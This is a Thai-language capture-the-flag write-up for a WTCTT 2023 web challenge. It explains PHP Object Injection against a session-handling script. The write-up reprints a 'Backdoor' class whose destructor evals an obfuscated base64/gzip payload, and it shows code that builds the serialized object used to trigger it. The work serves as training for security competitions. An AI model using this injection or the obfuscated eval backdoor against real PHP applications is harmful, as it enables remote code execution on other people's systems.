src : https://select2web.com/serialize-php-function/
สร้าง ID ที่ไม่ซ้ำแบบสุ่มด้วย PHP (eferrit.com)
- function load_sessionn()
function load_sessionn()
{
$data = $_SESSION["data"];
return str_replace('_🍜_', chr(0) . '*' . chr(0), $data);
}
Ar3mus : ถัดมา function load_sessionn() มีการทำงานดังนี้ครับ
ดึงข้อมูลจาก
$_SESSION["data"]แทนที่
_🍜_ด้วย null values ในเตรียมสำหรับการใช้unserialize
src : ฟังก์ชั่น unserialize() : ใช้ในการสร้างค่า PHP จากการแสดงค่าที่ถูกเก็บไว้ (mindphp.com)
- class Backdoor
class Backdoor
{
function __destruct()
{
if ($this->destruct == '🍜') {
eval(gzinflate(base64_decode(strrev('...'))));
}
}
}
Ar3mus : สุดท้ายในส่วนของ class Backdoor เป็นคลาสที่มี method __destruct ที่จะถูกเรียกเมื่อ object ถูกทำลาย
- ตรวจสอบว่า
$this->destructเท่ากับ '🍜' แล้วให้ทำการ evaluate โค้ดที่ถูกบีบอัดและเข้ารหัส Base64
src : คอนสตรักเตอร์และดีสตรักเตอร์ใน PHP OOP แตกต่างกันอย่างไร (mindphp.com)
Ar3mus : สรุปเเล้วในการทำงานของโค้ดนี้จะจัดเก็บ session และมีฟังก์ชันที่เกี่ยวข้องกับการปรับแต่งการเก็บข้อมูลใน session โดยใช้สตริง '🍜' แทนที่ null values เพื่อป้องกันปัญหาในการ serialize และ unserialize ข้อมูล session ซึ่ง class Backdoor จะเป็นฟังก์ชันที่ไม่ได้ถูกเรียกใช้ ครับ

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation โดยจากที่เราได้วิเคราะห์ code เราสามารถใช้ ท่าโจมตีอย่าง PHP Object Injection โดยทำการดึง class Backdoor มาใช้ เเล้วทำการแทรก object ก่อนที่ function load_sessionn() จะทำการ unserialize ครับ
Ar3mus : ที่นี้เรามาลอง เขียน php script ดูว่า class sessionn จะเเปลงเป็น serialize object หน้าตายังไงครับ
<?php
// Start the session
session_start();
// Define the sessionn class
class sessionn
{
protected $user;
protected $pass;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
// Function to store session data
function store_session($user, $pass)
{
$sess = new sessionn($user, $pass);
$data = serialize($sess);
$data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);
$_SESSION["data"] = $data;
}
// Call the function to store session data
$user = "admin";
$pass = "password";
store_session($user, $pass);
// Output the session data (after storing)
echo $_SESSION["data"];
?>

O:8:"sessionn":2:{s:7:"_🍜_user";s:5:"admin";s:7:"_🍜_pass";s:8:"password";}
Ar3mus : หลังจากนั้นเราลองนำ class Backdoor มาใช้เเทนครับ
<?php
class Backdoor
{
public $destruct;
function __construct($destruct)
{
$this->destruct = $destruct;
}
function __destruct()
{
if ($this->destruct == '🍜') {
eval(gzinflate(base64_decode(strrev('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'))));
}
}
}
// Create an instance of the Backdoor class
$backdoorInstance = new Backdoor('🍜');
// Serialize the Backdoor class
$serializedBackdoor = serialize($backdoorInstance);
// Output the serialized data
echo $serializedBackdoor;
?>

O:8:"Backdoor":1:{s:8:"destruct";s:4:"🍜";}
cat: /flag.txt: No such file or directory
Ar3mus : จะเห็นว่าเราเรียกใช้ class Backdoor ได้เเล้วว
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋ ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀ ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀ ⢿⣿⣿⣿⡟ Ar3mus@ WTCTT 2023 qualifying round : Web Challenges
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄ ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀ ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀ ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀ ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀




